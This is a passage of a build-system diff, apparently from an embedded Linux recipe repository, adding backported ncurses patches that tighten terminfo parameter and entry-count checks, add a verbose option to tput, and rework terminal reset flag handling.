+diff --git a/ncurses/tinfo/lib_tparm.c b/ncurses/tinfo/lib_tparm.c
+index d9bdfd8f..a10a3877 100644
+--- a/ncurses/tinfo/lib_tparm.c
++++ b/ncurses/tinfo/lib_tparm.c
+@@ -1086,6 +1086,64 @@ tparam_internal(TPARM_STATE *tps, const char *string, TPARM_DATA *data)
+ return (TPS(out_buff));
+ }
+
++#ifdef CUR
++/*
++ * Only a few standard capabilities accept string parameters. The others that
++ * are parameterized accept only numeric parameters.
++ */
++static bool
++check_string_caps(TPARM_DATA *data, const char *string)
++{
++ bool result = FALSE;
++
++#define CHECK_CAP(name) (VALID_STRING(name) && !strcmp(name, string))
++
++ /*
++ * Disallow string parameters unless we can check them against a terminal
++ * description.
++ */
++ if (cur_term != NULL) {
++ int want_type = 0;
++
++ if (CHECK_CAP(pkey_key))
++ want_type = 2; /* function key #1, type string #2 */
++ else if (CHECK_CAP(pkey_local))
++ want_type = 2; /* function key #1, execute string #2 */
++ else if (CHECK_CAP(pkey_xmit))
++ want_type = 2; /* function key #1, transmit string #2 */
++ else if (CHECK_CAP(plab_norm))
++ want_type = 2; /* label #1, show string #2 */
++ else if (CHECK_CAP(pkey_plab))
++ want_type = 6; /* function key #1, type string #2, show string #3 */
++#if NCURSES_XNAMES
++ else {
++ char *check;
++
++ check = tigetstr("Cs");
++ if (CHECK_CAP(check))
++ want_type = 1; /* style #1 */
++
++ check = tigetstr("Ms");
++ if (CHECK_CAP(check))
++ want_type = 3; /* storage unit #1, content #2 */
++ }
++#endif
++
++ if (want_type == data->tparm_type) {
++ result = TRUE;
++ } else {
++ T(("unexpected string-parameter"));
++ }
++ }
++ return result;
++}
++
++#define ValidCap() (myData.tparm_type == 0 || \
++ check_string_caps(&myData, string))
++#else
++#define ValidCap() 1
++#endif
++
+ #if NCURSES_TPARM_VARARGS
+
+ NCURSES_EXPORT(char *)
+@@ -1100,7 +1158,7 @@ tparm(const char *string, ...)
+ tps->tname = "tparm";
+ #endif /* TRACE */
+
+- if (tparm_setup(cur_term, string, &myData) == OK) {
++ if (tparm_setup(cur_term, string, &myData) == OK && ValidCap()) {
+ va_list ap;
+
+ va_start(ap, string);
+@@ -1135,7 +1193,7 @@ tparm(const char *string,
+ tps->tname = "tparm";
+ #endif /* TRACE */
+
+- if (tparm_setup(cur_term, string, &myData) == OK) {
++ if (tparm_setup(cur_term, string, &myData) == OK && ValidCap()) {
+
+ myData.param[0] = a1;
+ myData.param[1] = a2;
+@@ -1166,7 +1224,7 @@ tiparm(const char *string, ...)
+ tps->tname = "tiparm";
+ #endif /* TRACE */
+
+- if (tparm_setup(cur_term, string, &myData) == OK) {
++ if (tparm_setup(cur_term, string, &myData) == OK && ValidCap()) {
+ va_list ap;
+
+ va_start(ap, string);
+@@ -1179,7 +1237,25 @@ tiparm(const char *string, ...)
+ }
+
+ /*
+- * The internal-use flavor ensures that the parameters are numbers, not strings
++ * The internal-use flavor ensures that parameters are numbers, not strings.
++ * In addition to ensuring that they are numbers, it ensures that the parameter
++ * count is consistent with intended usage.
++ *
++ * Unlike the general-purpose tparm/tiparm, these internal calls are fairly
++ * well defined:
++ *
++ * expected == 0 - not applicable
++ * expected == 1 - set color, or vertical/horizontal addressing
++ * expected == 2 - cursor addressing
++ * expected == 4 - initialize color or color pair
++ * expected == 9 - set attributes
++ *
++ * Only for the last case (set attributes) should a parameter be optional.
++ * Also, a capability which calls for more parameters than expected should be
++ * ignored.
++ *
++ * Return a null if the parameter-checks fail. Otherwise, return a pointer to
++ * the formatted capability string.
+ */
+ NCURSES_EXPORT(char *)
+ _nc_tiparm(int expected, const char *string, ...)
+@@ -1189,22 +1265,36 @@ _nc_tiparm(int expected, const char *string, ...)
+ char *result = NULL;
+
+ _nc_tparm_err = 0;
++ T((T_CALLED("_nc_tiparm(%d, %s, ...)"), expected, _nc_visbuf(string)));
+ #ifdef TRACE
+ tps->tname = "_nc_tiparm";
+ #endif /* TRACE */
+
+- if (tparm_setup(cur_term, string, &myData) == OK
+- && myData.num_actual <= expected
+- && myData.tparm_type == 0) {
+- va_list ap;
++ if (tparm_setup(cur_term, string, &myData) == OK && ValidCap()) {
++ if (myData.num_actual == 0) {
++ T(("missing parameter%s, expected %s%d",
++ expected > 1 ? "s" : "",
++ expected == 9 ? "up to " : "",
++ expected));
++ } else if (myData.num_actual > expected) {
++ T(("too many parameters, have %d, expected %d",
++ myData.num_actual,
++ expected));
++ } else if (expected != 9 && myData.num_actual != expected) {
++ T(("expected %d parameters, have %d",
++ myData.num_actual,
++ expected));
++ } else {
++ va_list ap;
+
+- va_start(ap, string);
+- tparm_copy_valist(&myData, FALSE, ap);
+- va_end(ap);
++ va_start(ap, string);
++ tparm_copy_valist(&myData, FALSE, ap);
++ va_end(ap);
+
+- result = tparam_internal(tps, string, &myData);
++ result = tparam_internal(tps, string, &myData);
++ }
+ }
+- return result;
++ returnPtr(result);
+ }
+
+ /*
+diff --git a/ncurses/tinfo/read_entry.c b/ncurses/tinfo/read_entry.c
+index 2b1875ed..341337d2 100644
+--- a/ncurses/tinfo/read_entry.c
++++ b/ncurses/tinfo/read_entry.c
+@@ -323,6 +323,9 @@ _nc_read_termtype(TERMTYPE2 *ptr, char *buffer, int limit)
+ || bool_count < 0
+ || num_count < 0
+ || str_count < 0
++ || bool_count > BOOLCOUNT
++ || num_count > NUMCOUNT
++ || str_count > STRCOUNT
+ || str_size < 0) {
+ returnDB(TGETENT_NO);
+ }
+diff --git a/progs/tic.c b/progs/tic.c
+index 93a0b491..888927e2 100644
+--- a/progs/tic.c
++++ b/progs/tic.c
+@@ -2270,9 +2270,15 @@ check_1_infotocap(const char *name, NCURSES_CONST char *value, int count)
+
+ _nc_reset_tparm(NULL);
+ switch (actual) {
++ case Str:
++ result = TPARM_1(value, strings[1]);
++ break;
+ case Num_Str:
+ result = TPARM_2(value, numbers[1], strings[2]);
+ break;
++ case Str_Str:
++ result = TPARM_2(value, strings[1], strings[2]);
++ break;
+ case Num_Str_Str:
+ result = TPARM_3(value, numbers[1], strings[2], strings[3]);
+ break;
+diff --git a/progs/tparm_type.c b/progs/tparm_type.c
+index 3da4a077..644aa62a 100644
+--- a/progs/tparm_type.c
++++ b/progs/tparm_type.c
+@@ -47,6 +47,7 @@ tparm_type(const char *name)
+ {code, {longname} }, \
+ {code, {ti} }, \
+ {code, {tc} }
++#define XD(code, onlyname) TD(code, onlyname, onlyname, onlyname)
+ TParams result = Numbers;
+ /* *INDENT-OFF* */
+ static const struct {
+@@ -58,6 +59,10 @@ tparm_type(const char *name)
+ TD(Num_Str, "pkey_xmit", "pfx", "px"),
+ TD(Num_Str, "plab_norm", "pln", "pn"),
+ TD(Num_Str_Str, "pkey_plab", "pfxl", "xl"),
++#if NCURSES_XNAMES
++ XD(Str, "Cs"),
++ XD(Str_Str, "Ms"),
++#endif
+ };
+ /* *INDENT-ON* */
+
+@@ -80,12 +85,16 @@ guess_tparm_type(int nparam, char **p_is_s)
+ case 1:
+ if (!p_is_s[0])
+ result = Numbers;
++ if (p_is_s[0])
++ result = Str;
+ break;
+ case 2:
+ if (!p_is_s[0] && !p_is_s[1])
+ result = Numbers;
+ if (!p_is_s[0] && p_is_s[1])
+ result = Num_Str;
++ if (p_is_s[0] && p_is_s[1])
++ result = Str_Str;
+ break;
+ case 3:
+ if (!p_is_s[0] && !p_is_s[1] && !p_is_s[2])
+diff --git a/progs/tparm_type.h b/progs/tparm_type.h
+index 7c102a30..af5bcf0f 100644
+--- a/progs/tparm_type.h
++++ b/progs/tparm_type.h
+@@ -45,8 +45,10 @@
+ typedef enum {
+ Other = -1
+ ,Numbers = 0
++ ,Str
+ ,Num_Str
+ ,Num_Str_Str
++ ,Str_Str
+ } TParams;
+
+ extern TParams tparm_type(const char *name);
+diff --git a/progs/tput.c b/progs/tput.c
+index 4cd0c5ba..41508b72 100644
+--- a/progs/tput.c
++++ b/progs/tput.c
+@@ -1,5 +1,5 @@
+ /****************************************************************************
+- * Copyright 2018-2021,2022 Thomas E. Dickey *
++ * Copyright 2018-2022,2023 Thomas E. Dickey *
+ * Copyright 1998-2016,2017 Free Software Foundation, Inc. *
+ * *
+ * Permission is hereby granted, free of charge, to any person obtaining a *
+@@ -47,12 +47,15 @@
+ #include <transform.h>
+ #include <tty_settings.h>
+
+-MODULE_ID("$Id: tput.c,v 1.99 2022/02/26 23:19:31 tom Exp $")
++MODULE_ID("$Id: tput.c,v 1.102 2023/04/08 16:26:36 tom Exp $")
+
+ #define PUTS(s) fputs(s, stdout)
+
+ const char *_nc_progname = "tput";
+
++static bool opt_v = FALSE; /* quiet, do not show warnings */
++static bool opt_x = FALSE; /* clear scrollback if possible */
++
+ static bool is_init = FALSE;
+ static bool is_reset = FALSE;
+ static bool is_clear = FALSE;
+@@ -81,6 +84,7 @@ usage(const char *optstring)
+ KEEP(" -S << read commands from standard input")
+ KEEP(" -T TERM use this instead of $TERM")
+ KEEP(" -V print curses-version")
++ KEEP(" -v verbose, show warnings")
+ KEEP(" -x do not try to clear scrollback")
+ KEEP("")
+ KEEP("Commands:")
+@@ -148,7 +152,7 @@ exit_code(int token, int value)
+ * Returns nonzero on error.
+ */
+ static int
+-tput_cmd(int fd, TTY * settings, bool opt_x, int argc, char **argv, int *used)
++tput_cmd(int fd, TTY * settings, int argc, char **argv, int *used)
+ {
+ NCURSES_CONST char *name;
+ char *s;
+@@ -231,7 +235,9 @@ tput_cmd(int fd, TTY * settings, bool opt_x, int argc, char **argv, int *used)
+ } else if (VALID_STRING(s)) {
+ if (argc > 1) {
+ int k;
++ int narg;
+ int analyzed;
++ int provided;
+ int popcount;
+ long numbers[1 + NUM_PARM];
+ char *strings[1 + NUM_PARM];
+@@ -271,14 +277,45 @@ tput_cmd(int fd, TTY * settings, bool opt_x, int argc, char **argv, int *used)
+
+ popcount = 0;
+ _nc_reset_tparm(NULL);
++ /*
++ * Count the number of numeric parameters which are provided.
++ */
++ provided = 0;
++ for (narg = 1; narg < argc; ++narg) {
++ char *ending = NULL;
++ long check = strtol(argv[narg], &ending, 10);
++ if (check < 0 || ending == argv[narg] || *ending != '\0')
++ break;
++ provided = narg;
++ }
+ switch (paramType) {
++ case Str:
++ s = TPARM_1(s, strings[1]);
++ analyzed = 1;
++ if (provided == 0 && argc >= 1)
++ provided++;
++ break;
++ case Str_Str:
++ s = TPARM_2(s, strings[1], strings[2]);
++ analyzed = 2;
++ if (provided == 0 && argc >= 1)
++ provided++;
++ if (provided == 1 && argc >= 2)
++ provided++;
++ break;
+ case Num_Str:
+ s = TPARM_2(s, numbers[1], strings[2]);
+ analyzed = 2;
++ if (provided == 1 && argc >= 2)
++ provided++;
+ break;
+ case Num_Str_Str:
+ s = TPARM_3(s, numbers[1], strings[2], strings[3]);
+ analyzed = 3;
++ if (provided == 1 && argc >= 2)
++ provided++;
++ if (provided == 2 && argc >= 3)
++ provided++;
+ break;
+ case Numbers:
+ analyzed = _nc_tparm_analyze(NULL, s, p_is_s, &popcount);
+@@ -316,7 +353,13 @@ tput_cmd(int fd, TTY * settings, bool opt_x, int argc, char **argv, int *used)
+ if (analyzed < popcount) {
+ analyzed = popcount;
+ }
+- *used += analyzed;
++ if (opt_v && (analyzed != provided)) {
++ fprintf(stderr, "%s: %s parameters for \"%s\"\n",
++ _nc_progname,
++ (analyzed < provided ? "extra" : "missing"),
++ argv[0]);
++ }
++ *used += provided;
+ }
+
+ /* use putp() in order to perform padding */
+@@ -339,7 +382,6 @@ main(int argc, char **argv)
+ int used;
+ TTY old_settings;
+ TTY tty_settings;
+- bool opt_x = FALSE; /* clear scrollback if possible */
+ bool is_alias;
+ bool need_tty;
+
+@@ -348,7 +390,7 @@ main(int argc, char **argv)
+
+ term = getenv("TERM");
+
+- while ((c = getopt(argc, argv, is_alias ? "T:Vx" : "ST:Vx")) != -1) {
++ while ((c = getopt(argc, argv, is_alias ? "T:Vvx" : "ST:Vvx")) != -1) {
+ switch (c) {
+ case 'S':
+ cmdline = FALSE;
+@@ -361,6 +403,9 @@ main(int argc, char **argv)
+ case 'V':
+ puts(curses_version());
+ ExitProgram(EXIT_SUCCESS);
++ case 'v': /* verbose */
++ opt_v = TRUE;
++ break;
+ case 'x': /* do not try to clear scrollback */
+ opt_x = TRUE;
+ break;
+@@ -404,7 +449,7 @@ main(int argc, char **argv)
+ usage(NULL);
+ while (argc > 0) {
+ tty_settings = old_settings;
+- code = tput_cmd(fd, &tty_settings, opt_x, argc, argv, &used);
++ code = tput_cmd(fd, &tty_settings, argc, argv, &used);
+ if (code != 0)
+ break;
+ argc -= used;
+@@ -439,7 +484,7 @@ main(int argc, char **argv)
+ while (argnum > 0) {
+ int code;
+ tty_settings = old_settings;
+- code = tput_cmd(fd, &tty_settings, opt_x, argnum, argnow, &used);
++ code = tput_cmd(fd, &tty_settings, argnum, argnow, &used);
+ if (code != 0) {
+ if (result == 0)
+ result = ErrSystem(0); /* will return value >4 */
+--
+2.40.0
+
diff --git a/meta/recipes-core/ncurses/files/0001-Updating-reset-code-ncurses-6.4-patch-20231104.patch b/meta/recipes-core/ncurses/files/0001-Updating-reset-code-ncurses-6.4-patch-20231104.patch
new file mode 100644
index 0000000000..121db6bffe
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/0001-Updating-reset-code-ncurses-6.4-patch-20231104.patch
@@ -0,0 +1,499 @@
+From 135d37072755704b8d018e5de74e62ff3f28c930 Mon Sep 17 00:00:00 2001
+From: Thomas E. Dickey <dickey@invisible-island.net>
+Date: Sun, 5 Nov 2023 05:54:54 +0530
+Subject: [PATCH] Updating reset code - ncurses 6.4 - patch 20231104
+
++ modify reset command to avoid altering clocal if the terminal uses a
+ modem (prompted by discussion with Werner Fink, Michal Suchanek,
+ OpenSUSE #1201384, Debian #60377).
++ build-fixes for --with-caps variations.
++ correct a couple of section-references in INSTALL.
+
+Signed-off-by: Thomas E. Dickey <dickey@invisible-island.net>
+
+Upstream-Status: Backport [https://ncurses.scripts.mit.edu/?p=ncurses.git;a=commitdiff;h=135d37072755704b8d018e5de74e62ff3f28c930]
+
+Signed-off-by: Soumya Sambu <soumya.sambu@windriver.com>
+---
+ INSTALL | 8 +-
+ include/curses.events | 2 +-
+ ncurses/tinfo/lib_tparm.c | 2 +
+ progs/reset_cmd.c | 281 +++++++++++++++++++++-----------------
+ progs/tabs.c | 10 +-
+ progs/tic.c | 4 +
+ 6 files changed, 176 insertions(+), 131 deletions(-)
+
+diff --git a/INSTALL b/INSTALL
+index d9c1dd12..d0a39af0 100644
+--- a/INSTALL
++++ b/INSTALL
+@@ -47,7 +47,7 @@ If you are converting from BSD curses and do not have root access, be sure
+ to read the BSD CONVERSION NOTES section below.
+
+ If you are trying to build applications using gpm with ncurses,
+-read the USING NCURSES WITH GPM section below.
++read the USING GPM section below.
+
+ If you are cross-compiling, see the note below on BUILDING WITH A CROSS-COMPILER.
+
+@@ -79,7 +79,7 @@ INSTALLATION PROCEDURE:
+ The --prefix option to configure changes the root directory for installing
+ ncurses. The default is normally in subdirectories of /usr/local, except
+ for systems where ncurses is normally installed as a system library (see
+- "IF YOU ARE A SYSTEM INTEGRATOR"). Use --prefix=/usr to replace your
++ "FOR SYSTEM INTEGRATORS"). Use --prefix=/usr to replace your
+ default curses distribution.
+
+ The package gets installed beneath the --prefix directory as follows:
+@@ -176,7 +176,7 @@ INSTALLATION PROCEDURE:
+ You can make curses and terminfo fall back to an existing file of termcap
+ definitions by configuring with --enable-termcap. If you do this, the
+ library will search /etc/termcap before the terminfo database, and will
+- also interpret the contents of the TERM environment variable. See the
++ also interpret the contents of the $TERM environment variable. See the
+ section BSD CONVERSION NOTES below.
+
+ 3. Type `make'. Ignore any warnings, no error messages should be produced.
+@@ -1231,7 +1231,7 @@ CONFIGURE OPTIONS:
+ Specify a search-list of terminfo directories which will be compiled
+ into the ncurses library (default: DATADIR/terminfo)
+
+- This is a colon-separated list, like the TERMINFO_DIRS environment
++ This is a colon-separated list, like the $TERMINFO_DIRS environment
+ variable.
+
+ --with-termlib[=XXX]
+diff --git a/include/curses.events b/include/curses.events
+index 25a2583f..468bde18 100644
+--- a/include/curses.events
++++ b/include/curses.events
+@@ -50,6 +50,6 @@ typedef struct
+ extern NCURSES_EXPORT(int) wgetch_events (WINDOW *, _nc_eventlist *) GCC_DEPRECATED(experimental option); /* experimental */
+ extern NCURSES_EXPORT(int) wgetnstr_events (WINDOW *,char *,int,_nc_eventlist *) GCC_DEPRECATED(experimental option); /* experimental */
+
+-#define KEY_EVENT 0633 /* We were interrupted by an event */
++#define KEY_EVENT 0634 /* We were interrupted by an event */
+
+ #endif /* NCURSES_WGETCH_EVENTS */
+diff --git a/ncurses/tinfo/lib_tparm.c b/ncurses/tinfo/lib_tparm.c
+index a10a3877..cd972c0f 100644
+--- a/ncurses/tinfo/lib_tparm.c
++++ b/ncurses/tinfo/lib_tparm.c
+@@ -1113,8 +1113,10 @@ check_string_caps(TPARM_DATA *data, const char *string)
+ want_type = 2; /* function key #1, transmit string #2 */
+ else if (CHECK_CAP(plab_norm))
+ want_type = 2; /* label #1, show string #2 */
++#ifdef pkey_plab
+ else if (CHECK_CAP(pkey_plab))
+ want_type = 6; /* function key #1, type string #2, show string #3 */
++#endif
+ #if NCURSES_XNAMES
+ else {
+ char *check;
+diff --git a/progs/reset_cmd.c b/progs/reset_cmd.c
+index eff3af72..aec4b077 100644
+--- a/progs/reset_cmd.c
++++ b/progs/reset_cmd.c
+@@ -75,6 +75,9 @@ MODULE_ID("$Id: reset_cmd.c,v 1.28 2021/10/02 18:08:44 tom Exp $")
+ # endif
+ #endif
+
++#define set_flags(target, mask) target |= mask
++#define clear_flags(target, mask) target &= ~((unsigned)(mask))
++
+ static FILE *my_file;
+
+ static bool use_reset = FALSE; /* invoked as reset */
+@@ -188,6 +191,79 @@ out_char(int c)
+ #define reset_char(item, value) \
+ tty_settings->c_cc[item] = CHK(tty_settings->c_cc[item], value)
+
++/*
++ * Simplify ifdefs
++ */
++#ifndef BSDLY
++#define BSDLY 0
++#endif
++#ifndef CRDLY
++#define CRDLY 0
++#endif
++#ifndef ECHOCTL
++#define ECHOCTL 0
++#endif
++#ifndef ECHOKE
++#define ECHOKE 0
++#endif
++#ifndef ECHOPRT
++#define ECHOPRT 0
++#endif
++#ifndef FFDLY
++#define FFDLY 0
++#endif
++#ifndef IMAXBEL
++#define IMAXBEL 0
++#endif
++#ifndef IUCLC
++#define IUCLC 0
++#endif
++#ifndef IXANY
++#define IXANY 0
++#endif
++#ifndef NLDLY
++#define NLDLY 0
++#endif
++#ifndef OCRNL
++#define OCRNL 0
++#endif
++#ifndef OFDEL
++#define OFDEL 0
++#endif
++#ifndef OFILL
++#define OFILL 0
++#endif
++#ifndef OLCUC
++#define OLCUC 0
++#endif
++#ifndef ONLCR
++#define ONLCR 0
++#endif
++#ifndef ONLRET
++#define ONLRET 0
++#endif
++#ifndef ONOCR
++#define ONOCR 0
++#endif
++#ifndef OXTABS
++#define OXTABS 0
++#endif
++#ifndef TAB3
++#define TAB3 0
++#endif
++#ifndef TABDLY
++#define TABDLY 0
++#endif
++#ifndef TOSTOP
++#define TOSTOP 0
++#endif
++#ifndef VTDLY
++#define VTDLY 0
++#endif
++#ifndef XCASE
++#define XCASE 0
++#endif
++
+ /*
+ * Reset the terminal mode bits to a sensible state. Very useful after
+ * a child program dies in raw mode.
+@@ -195,6 +271,10 @@ out_char(int c)
+ void
+ reset_tty_settings(int fd, TTY * tty_settings, int noset)
+ {
++ unsigned mask;
++#ifdef TIOCMGET
++ int modem_bits;
++#endif
+ GET_TTY(fd, tty_settings);
+
+ #ifdef TERMIOS
+@@ -228,106 +308,65 @@ reset_tty_settings(int fd, TTY * tty_settings, int noset)
+ reset_char(VWERASE, CWERASE);
+ #endif
+
+- tty_settings->c_iflag &= ~((unsigned) (IGNBRK
+- | PARMRK
+- | INPCK
+- | ISTRIP
+- | INLCR
+- | IGNCR
+-#ifdef IUCLC
+- | IUCLC
+-#endif
+-#ifdef IXANY
+- | IXANY
+-#endif
+- | IXOFF));
+-
+- tty_settings->c_iflag |= (BRKINT
+- | IGNPAR
+- | ICRNL
+- | IXON
+-#ifdef IMAXBEL
+- | IMAXBEL
+-#endif
+- );
+-
+- tty_settings->c_oflag &= ~((unsigned) (0
+-#ifdef OLCUC
+- | OLCUC
+-#endif
+-#ifdef OCRNL
+- | OCRNL
+-#endif
+-#ifdef ONOCR
+- | ONOCR
+-#endif
+-#ifdef ONLRET
+- | ONLRET
+-#endif
+-#ifdef OFILL
+- | OFILL
+-#endif
+-#ifdef OFDEL
+- | OFDEL
+-#endif
+-#ifdef NLDLY
+- | NLDLY
+-#endif
+-#ifdef CRDLY
+- | CRDLY
+-#endif
+-#ifdef TABDLY
+- | TABDLY
+-#endif
+-#ifdef BSDLY
+- | BSDLY
+-#endif
+-#ifdef VTDLY
+- | VTDLY
+-#endif
+-#ifdef FFDLY
+- | FFDLY
+-#endif
+- ));
+-
+- tty_settings->c_oflag |= (OPOST
+-#ifdef ONLCR
+- | ONLCR
+-#endif
+- );
+-
+- tty_settings->c_cflag &= ~((unsigned) (CSIZE
+- | CSTOPB
+- | PARENB
+- | PARODD
+- | CLOCAL));
+- tty_settings->c_cflag |= (CS8 | CREAD);
+- tty_settings->c_lflag &= ~((unsigned) (ECHONL
+- | NOFLSH
+-#ifdef TOSTOP
+- | TOSTOP
+-#endif
+-#ifdef ECHOPTR
+- | ECHOPRT
+-#endif
+-#ifdef XCASE
+- | XCASE
+-#endif
+- ));
+-
+- tty_settings->c_lflag |= (ISIG
+- | ICANON
+- | ECHO
+- | ECHOE
+- | ECHOK
+-#ifdef ECHOCTL
+- | ECHOCTL
+-#endif
+-#ifdef ECHOKE
+- | ECHOKE
+-#endif
+- );
+-#endif
++ clear_flags(tty_settings->c_iflag, (IGNBRK
++ | PARMRK
++ | INPCK
++ | ISTRIP
++ | INLCR
++ | IGNCR
++ | IUCLC
++ | IXANY
++ | IXOFF));
++
++ set_flags(tty_settings->c_iflag, (BRKINT
++ | IGNPAR
++ | ICRNL
++ | IXON
++ | IMAXBEL));
++
++ clear_flags(tty_settings->c_oflag, (0
++ | OLCUC
++ | OCRNL
++ | ONOCR
++ | ONLRET
++ | OFILL
++ | OFDEL
++ | NLDLY
++ | CRDLY
++ | TABDLY
++ | BSDLY
++ | VTDLY
++ | FFDLY));
++
++ set_flags(tty_settings->c_oflag, (OPOST
++ | ONLCR));
++
++ mask = (CSIZE | CSTOPB | PARENB | PARODD);
++#ifdef TIOCMGET
++ /* leave clocal alone if this appears to use a modem */
++ if (ioctl(fd, TIOCMGET, &modem_bits) == -1)
++ mask |= CLOCAL;
++#else
++ /* cannot check - use the behavior from tset */
++ mask |= CLOCAL;
++#endif
++ clear_flags(tty_settings->c_cflag, mask);
++
++ set_flags(tty_settings->c_cflag, (CS8 | CREAD));
++ clear_flags(tty_settings->c_lflag, (ECHONL
++ | NOFLSH
++ | TOSTOP
++ | ECHOPRT
++ | XCASE));
++
++ set_flags(tty_settings->c_lflag, (ISIG
++ | ICANON
++ | ECHO
++ | ECHOE
++ | ECHOK
++ | ECHOCTL
++ | ECHOKE));
++#endif /* TERMIOS */
+
+ if (!noset) {
+ SET_TTY(fd, tty_settings);
+@@ -402,29 +441,23 @@ set_conversions(TTY * tty_settings)
+ #if defined(EXP_WIN32_DRIVER)
+ /* FIXME */
+ #else
+-#ifdef ONLCR
+- tty_settings->c_oflag |= ONLCR;
+-#endif
+- tty_settings->c_iflag |= ICRNL;
+- tty_settings->c_lflag |= ECHO;
+-#ifdef OXTABS
+- tty_settings->c_oflag |= OXTABS;
+-#endif /* OXTABS */
++ set_flags(tty_settings->c_oflag, ONLCR);
++ set_flags(tty_settings->c_iflag, ICRNL);
++ set_flags(tty_settings->c_lflag, ECHO);
++ set_flags(tty_settings->c_oflag, OXTABS);
+
+ /* test used to be tgetflag("NL") */
+ if (VALID_STRING(newline) && newline[0] == '\n' && !newline[1]) {
+ /* Newline, not linefeed. */
+-#ifdef ONLCR
+- tty_settings->c_oflag &= ~((unsigned) ONLCR);
+-#endif
+- tty_settings->c_iflag &= ~((unsigned) ICRNL);
++ clear_flags(tty_settings->c_oflag, ONLCR);
++ clear_flags(tty_settings->c_iflag, ICRNL);
+ }
+-#ifdef OXTABS
++#if OXTABS
+ /* test used to be tgetflag("pt") */
+ if (VALID_STRING(set_tab) && VALID_STRING(clear_all_tabs))
+- tty_settings->c_oflag &= ~OXTABS;
++ clear_flags(tty_settings->c_oflag, OXTABS);
+ #endif /* OXTABS */
+- tty_settings->c_lflag |= (ECHOE | ECHOK);
++ set_flags(tty_settings->c_lflag, (ECHOE | ECHOK));
+ #endif
+ }
+
+@@ -490,7 +523,7 @@ send_init_strings(int fd GCC_UNUSED, TTY * old_settings)
+ bool need_flush = FALSE;
+
+ (void) old_settings;
+-#ifdef TAB3
++#if TAB3
+ if (old_settings != 0 &&
+ old_settings->c_oflag & (TAB3 | ONLCR | OCRNL | ONLRET)) {
+ old_settings->c_oflag &= (TAB3 | ONLCR | OCRNL | ONLRET);
+@@ -512,22 +545,22 @@ send_init_strings(int fd GCC_UNUSED, TTY * old_settings)
+
+ if (VALID_STRING(clear_margins)) {
+ need_flush |= sent_string(clear_margins);
+- } else
++ }
+ #if defined(set_lr_margin)
+- if (VALID_STRING(set_lr_margin)) {
++ else if (VALID_STRING(set_lr_margin)) {
+ need_flush |= sent_string(TIPARM_2(set_lr_margin, 0, columns - 1));
+- } else
++ }
+ #endif
+ #if defined(set_left_margin_parm) && defined(set_right_margin_parm)
+- if (VALID_STRING(set_left_margin_parm)
+- && VALID_STRING(set_right_margin_parm)) {
++ else if (VALID_STRING(set_left_margin_parm)
++ && VALID_STRING(set_right_margin_parm)) {
+ need_flush |= sent_string(TIPARM_1(set_left_margin_parm, 0));
+ need_flush |= sent_string(TIPARM_1(set_right_margin_parm,
+ columns - 1));
+- } else
++ }
+ #endif
+- if (VALID_STRING(set_left_margin)
+- && VALID_STRING(set_right_margin)) {
++ else if (VALID_STRING(set_left_margin)
++ && VALID_STRING(set_right_margin)) {
+ need_flush |= to_left_margin();
+ need_flush |= sent_string(set_left_margin);
+ if (VALID_STRING(parm_right_cursor)) {
+diff --git a/progs/tabs.c b/progs/tabs.c
+index 7378d116..d904330b 100644
+--- a/progs/tabs.c
++++ b/progs/tabs.c
+@@ -370,7 +370,9 @@ do_set_margin(int margin, bool no_op)
+ }
+ tputs(set_left_margin, 1, putch);
+ }
+- } else if (VALID_STRING(set_left_margin_parm)) {
++ }
++#if defined(set_left_margin_parm) && defined(set_right_margin_parm)
++ else if (VALID_STRING(set_left_margin_parm)) {
+ result = TRUE;
+ if (!no_op) {
+ if (VALID_STRING(set_right_margin_parm)) {
+@@ -379,12 +381,16 @@ do_set_margin(int margin, bool no_op)
+ tputs(TIPARM_2(set_left_margin_parm, margin, max_cols), 1, putch);
+ }
+ }
+- } else if (VALID_STRING(set_lr_margin)) {
++ }
++#endif
++#if defined(set_lr_margin)
++ else if (VALID_STRING(set_lr_margin)) {
+ result = TRUE;
+ if (!no_op) {
+ tputs(TIPARM_2(set_lr_margin, margin, max_cols), 1, putch);
+ }
+ }
++#endif
+ return result;
+ }
+
+diff --git a/progs/tic.c b/progs/tic.c
+index 888927e2..78b568fa 100644
+--- a/progs/tic.c
++++ b/progs/tic.c
+@@ -3142,6 +3142,7 @@ guess_ANSI_VTxx(TERMTYPE2 *tp)
+ * In particular, any ECMA-48 terminal should support these, though the details
+ * for u9 are implementation dependent.
+ */
++#if defined(user6) && defined(user7) && defined(user8) && defined(user9)
+ static void
+ check_user_6789(TERMTYPE2 *tp)
+ {
+@@ -3177,6 +3178,9 @@ check_user_6789(TERMTYPE2 *tp)
+ break;
+ }
+ }
++#else
++#define check_user_6789(tp) /* nothing */
++#endif
+
+ /* other sanity-checks (things that we don't want in the normal
+ * logic that reads a terminfo entry)
+--
+2.40.0
diff --git a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
index 572195611e..66f26c06ab 100644
--- a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
+++ b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
@@ -1,7 +1,7 @@
-From 2a53c03ffa90f0050a949fc5920f0df3e668ff42 Mon Sep 17 00:00:00 2001
+From ec87e53066a9942e9aaba817d71268342f5e83b9 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 16 Aug 2017 14:45:27 +0800
-Subject: [PATCH 2/2] configure: reproducible
+Subject: [PATCH] configure: reproducible
"configure" enforces -U for ar flags, breaking deterministic builds.
The flag was added to fix some vaguely specified "recent POSIX binutil
@@ -13,23 +13,21 @@ Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
Rebase to 6.1
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
configure | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure b/configure
-index adead92..fa4fdb7 100755
+index 421cf859..a1b7840d 100755
--- a/configure
+++ b/configure
-@@ -4503,7 +4503,7 @@ if test "${cf_cv_ar_flags+set}" = set; then
- else
-
- cf_cv_ar_flags=unknown
-- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
-+ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
- do
+@@ -5072,7 +5072,7 @@ else
+ ;;
+ (*)
+ cf_cv_ar_flags=unknown
+- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
++ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
+ do
- # check if $ARFLAGS already contains this choice
---
